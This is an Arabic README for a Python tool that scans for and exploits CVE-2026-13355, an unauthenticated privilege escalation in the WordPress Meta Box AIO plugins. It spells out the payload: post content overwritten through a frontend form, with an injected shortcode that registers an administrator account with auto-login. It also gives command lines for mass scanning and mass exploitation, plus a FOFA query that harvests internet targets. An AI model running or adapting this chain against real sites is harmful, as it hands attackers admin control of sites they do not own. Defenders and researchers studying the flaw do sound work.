CVE-2026-13355 — تصعيد صلاحيات المسؤول غير المُصادَق عليه في Meta Box AIO

أداة فحص واستغلال بلغة Python 3 لإثبات المفهوم لـ CVE-2026-13355 في حزمة WordPress Meta Box AIO (وإضافات MB Frontend Submission / MB User Profile ذات الصلة).

الملخص

تسمح عيوب متسلسلة في إضافتين مضمّنتين بإنشاء حساب مسؤول دون مصادقة:

1. MB Frontend Submission (mbfs) — يقوم rwmb_frontend_field_object_id بتجاوز هدف النموذج دون تفويض؛ ويُهمل Form::process() الدالة user_can_edit()، مما يمكّن المهاجمين من استدعاء wp_update_post() والكتابة فوق post_content في أي منشور/صفحة.
2. MB User Profile (mbup) — يتم الوثوق بسمات الاختصار المُحقَنة [mb_user_profile_register role="administrator" auto_login="true"] دون التحقق من الدور.

مهم: تتطلب سلسلة الاستغلال وجود نموذج mbfs (إرسال من الواجهة الأمامية) عام، وليس نماذج mbup الخاصة بتسجيل الدخول فقط. العديد من نتائج FOFA تكشف فقط واجهة تسجيل الدخول/التسجيل mbup — ويتم تصنيفها كـ plugin_mbup_only، وغير قابلة للاستغلال عبر هذه السلسلة.

المتطلبات

• Python 3.8+
• pip install -r requirements.txt

البدء السريع

pip install -r requirements.txt

# هدف واحد — فحص (تدفق الطرفية المباشر افتراضيًا)
python poc.py -u https://target.example --mode check

# فحص جماعي (سطر واحد لكل هدف ما لم يُستخدم --quiet)
python poc.py --list targets.example.txt --mode check --threads 20

# هدف واحد — استغلال (يحتاج رابط نموذج mbfs + معرّف المنشور)
python poc.py -u https://target.example --mode exploit \
  --form-url /contact/ --object-id 12 --verify

# استغلال جماعي من مخرجات الفحص
python poc.py --list candidates.jsonl --mode exploit --threads 5 --verify

FOFA → قائمة الأهداف

مثال على الاستعلام:

body="/wp-content/plugins/meta-box-aio/"

تطبيع تصدير FOFA بصيغة CSV:

python fofa_to_list.py -i fofa_export.csv
# يكتب list.txt + CSV مُطبَّع (محلي فقط، مُتجاهَل في git)
python poc.py --list list.txt --mode check --threads 20

خيارات سطر الأوامر

ملفات المخرجات

استخدم --vuln-list exploited.txt في تشغيلات الاستغلال حتى لا يتم الكتابة فوق نتائج الفحص في hits.txt.

قيم status في الفحص

ملاحظات الاستغلال

• خطوة التسميم ترسل post_content عبر نموذج mbfs مع ?rwmb_frontend_field_object_id=<id>.
• يتطلب النجاح أن يتم عرض الاختصار المُحقَن على الصفحة المسمومة (لا إزالة/KSES، إضافة مُرقَّعة، نوع نموذج خاطئ).
• غالبًا ما تفتقر نماذج mbfs الخاصة بالاتصال/النشرة البريدية إلى حقل post_content حقيقي؛ قد تفشل الكتابة فوقه عمليًا.
• استجابة HTTP 403 عند POST تشير عادةً إلى حظر من WAF/المضيف.

هيكل المستودع

.
├── poc.py
├── fofa_to_list.py
├── requirements.txt
├── targets.example.txt
├── README.md
├── LICENSE
└── .gitignore

قوائم الفحص المحلية ومخرجات التشغيل (list.txt، fofa*.csv، *.jsonl، hits*.txt، …) موجودة في .gitignore ولا ينبغي إيداعها.

المراجع

• NVD — CVE-2026-13355
• Wordfence advisory
• Meta Box AIO changelog

قانوني

لأغراض الاختبار الأمني المُصرَّح به والتعليم فقط. أنت مسؤول عن الامتثال للقوانين المعمول بها وقواعد البرامج.